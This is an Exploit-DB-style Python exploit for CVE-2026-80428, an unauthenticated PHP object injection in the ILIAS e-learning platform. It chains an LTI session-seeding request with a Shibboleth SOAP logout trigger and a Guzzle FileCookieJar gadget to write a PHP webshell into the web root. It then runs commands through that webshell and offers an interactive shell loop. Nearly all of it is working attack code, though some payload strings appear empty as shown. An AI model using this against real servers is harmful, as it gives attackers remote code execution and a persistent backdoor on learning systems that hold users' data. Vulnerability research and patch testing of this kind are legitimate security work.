#!/usr/bin/env python3

#

Exploit Title: ILIAS <= 9.21 / 10.9 / 11.2 - Unauthenticated PHP Object Injection (RCE)

Date: 2026-08-31

Exploit Author: DigiProSec

Vendor Homepage: https://www.ilias.de

Software Link: https://github.com/ILIAS-eLearning/ILIAS

Version: ILIAS < 9.22, 10.0 < 10.10, 11.0 < 11.3 (fixed in 9.22 / 10.10 / 11.3)

Tested on: Rocky Linux 9, Apache + PHP-FPM 8.2, ILIAS 10.9 (MariaDB 10.11 backend)

CVE: CVE-2026-80428

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CVE-2026-80428 — Unauthenticated PHP Object Injection via Shibboleth

Injection via Shibboleth back-channel logout endpoint (RCE as web server user)

#

Chain:

1. ltiauth.php (auth-exempt LTI entry point) stores the entire request

parameter array into the session table (ilSession::set on

'lti13_login_data'). A "\w+|" marker inside a parameter value breaks the

custom session parser, so our raw serialized object is handed to

unserialize() as if it were a session value.

2. shib_logout.php (auth-exempt Shibboleth back-channel) — a POST with any

non-empty body starts a SoapServer whose LogoutNotification() handler

unserializes EVERY live session row with no class allowlist.

3. Gadget: GuzzleHttp\Cookie\FileCookieJar (bundled in ILIAS's vendor tree).

__destruct() -> save($this->filename) -> file_put_contents($filename,

json_encode($cookies)). Attacker-chosen path + JSON-embedded PHP = webshell.

#

Tested: ILIAS 10.9 on Rocky Linux 9 (Apache + PHP-FPM 8.2, MariaDB backend).

Notes: - v11.x ships a broken shib_logout.php variant (null $DIC) and does

not reach the vulnerable code as packaged; v9/v10 are exploitable.

- The target's docroot disk path is needed for the file write

(--path). Defaults to the standard /var/www/ilias/public.

- If ILIAS was configured with a fixed http path, requests must carry

that hostname (--host-header).

#

Usage: python3 CVE-2026-80428.py [--cmd 'id']

python3 CVE-2026-80428.py 10.10.10.20 --host-header lms.example --shell

#

import argparse, http.client, re, secrets, ssl, sys, urllib.parse

def s(x):

b = x.encode() if isinstance(x, str) else x

return b's:' + str(len(b)).encode() + b':"' + b + b'";'

def filecookiejar(path: str) -> bytes:

php = b'' # PHP8: bareword index fatals; chr() avoids quotes

data = (s('Name') + s('util') + s('Value') + s(php) + s('Domain') + s('ilias')

+ s('Path') + s('/') + s('Max-Age') + b'N;' + s('Expires') + b'i:1999999999;'

+ s('Secure') + b'b:0;' + s('Discard') + b'b:0;' + s('HttpOnly') + b'b:0;')

setcookie = (b'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{'

+ s('\x00GuzzleHttp\\Cookie\\SetCookie\x00data') + b'a:9:{' + data + b'}}')

return (b'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{'

+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies') + b'a:1:{i:0;' + setcookie + b'}'

+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode') + b'b:0;'

+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename') + s(path)

+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies') + b'b:1;}')

SOAP = (b'\n'

b'x'

b'')

class Target:

def __init__(self, host, port, host_header):

self.host, self.port = host, port

self.hh = host_header or host

self.ctx = ssl._create_unverified_context()

def req(self, method, path, body=None, ctype=None):

conn = (http.client.HTTPSConnection if self.port == 443 else http.client.HTTPConnection)(

self.host, self.port, context=self.ctx if self.port == 443 else None, timeout=30)

h = {"Host": self.hh}

if ctype: h["Content-Type"] = ctype

conn.request(method, path, body=body, headers=h)

r = conn.getresponse(); d = r.read(); conn.close()

return r.status, d

def main():

ap = argparse.ArgumentParser(description="CVE-2026-80428 - ILIAS unauthenticated PHP object injection RCE")

ap.add_argument("target")

ap.add_argument("--port", type=int, default=443)

ap.add_argument("--host-header", default=None, help="vhost/ILIAS client hostname if required")

ap.add_argument("--path", default="/var/www/ilias/public",

help="ILIAS docroot on disk (v10/11: .../public; v9: repo root)")

ap.add_argument("--cmd", default="id")

ap.add_argument("--shell", action="store_true", help="interactive command loop")

a = ap.parse_args()

t = Target(a.target, a.port, a.host_header)

shell = f"util_{secrets.token_hex(3)}.php"

disk = f"{a.path.rstrip('/')}/{shell}"

print(f"[*] seeding session via ltiauth.php (writes {disk})")

body = (b"lti_message_hint=1%3A2&inj=" +

urllib.parse.quote_from_bytes(b"junk|" + filecookiejar(disk)).encode())

st, _ = t.req("POST", "/ltiauth.php", body, "application/x-www-form-urlencoded")

if st not in (200, 302):

print(f"[-] ltiauth.php returned {st} — is this ILIAS with the LTI entry point exposed?")

sys.exit(1)

print("[*] triggering unserialize via shib_logout.php (SOAP LogoutNotification)")

st, d = t.req("POST", "/shib_logout.php", SOAP, "text/xml")

if b"LogoutNotificationResponse" not in d and b"" not in d:

print(f"[-] trigger response looks wrong (HTTP {st}): {d[:160]!r}")

sys.exit(1)

def run(cmd):

st, d = t.req("GET", f"/{shell}?x=" + urllib.parse.quote(cmd))

m = re.search(rb'"Value":"(.*?)","Domain"', d, re.S)

return (m.group(1) if m else d).decode(errors="replace").strip()

out = run(a.cmd)

if not out:

print("[-] webshell did not respond — wrong --path / docroot not writable by web user?")

sys.exit(1)

print(f"[+] webshell live: {'https' if a.port==443 else 'http'}://{a.target}:{a.port}/{shell}?x=")

print(f"[+] {a.cmd}: {out}")

if a.shell:

print("[*] interactive loop — 'exit' quits")

while True:

try: cmd = input("ilias$ ").strip()

except (EOFError, KeyboardInterrupt): break

if cmd in ("exit", "quit"): break

if cmd: print(run(cmd))

if __name__ == "__main__":

main()